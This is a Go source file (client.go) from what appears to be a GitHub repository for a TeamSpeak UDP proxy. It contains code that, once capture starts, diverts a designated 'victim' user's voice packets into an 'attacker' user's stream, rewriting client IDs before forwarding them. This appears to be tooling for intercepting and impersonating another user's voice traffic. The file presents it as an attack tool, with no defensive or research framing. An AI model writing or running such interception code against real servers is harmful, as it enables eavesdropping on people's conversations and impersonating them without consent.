-
Notifications
You must be signed in to change notification settings - Fork 0
/
client.go
86 lines (79 loc) · 2 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main
import (
"encoding/binary"
"fmt"
"net"
"time"
)
func (user *userClient) sendPacketToTeamspeak(c *net.UDPConn) {
for {
select {
case res := <-user.incomingPackets:
_, err := c.Write(res)
if err != nil {
fmt.Println(err)
return
}
if len(res) == 13 {
user.last13 = res[0:8]
}
case <-time.After(60 * time.Second):
fmt.Printf("Delete connection %v \n", user.userAddressIP)
user.end <- 1
delete(user.proxy.usersMap, user.userAddressIP)
return
}
}
}
func (user *userClient) receivePacketFromTeamspeak(c *net.UDPConn) {
clientID := make([]byte, 2)
for {
select {
case <-user.end:
return
default:
}
if user.proxy.outputUser != 0 {
binary.LittleEndian.PutUint16(clientID, user.proxy.outputUser)
}
if user.proxy.startCapture && user.userAddressIP == user.proxy.attacker {
select {
case res := <-user.injectPacket:
if len(res.data) <= 17 {
continue
}
if res.typeOfPacket == "out" {
res.data = user.preparePacketOut(res.data, clientID)
}
if res.typeOfPacket == "in" {
res.data = user.preparePacketIn(res.data, clientID)
}
user.proxy.clientToProxy <- &packet{data: res.data, address: user.userAddressIP}
default:
buffer := make([]byte, 4096)
n, _, err := c.ReadFromUDP(buffer)
if err != nil {
fmt.Println(err)
return
}
user.proxy.clientToProxy <- &packet{data: buffer[0:n], address: user.userAddressIP}
}
} else {
buffer := make([]byte, 4096)
n, _, err := c.ReadFromUDP(buffer)
if err != nil {
fmt.Println(err)
return
}
if user.userAddressIP == user.proxy.victim && user.proxy.startCapture {
user.proxy.usersMap[user.proxy.attacker].injectPacket <- capturePacket{data: buffer[0:n], typeOfPacket: "out"}
}
if user.last13 != nil {
if n > 18 && buffer[0] == user.last13[0] && buffer[7] == user.last13[7] {
user.lastTalkId = buffer[8:10]
}
}
user.proxy.clientToProxy <- &packet{data: buffer[0:n], address: user.userAddressIP}
}
}
}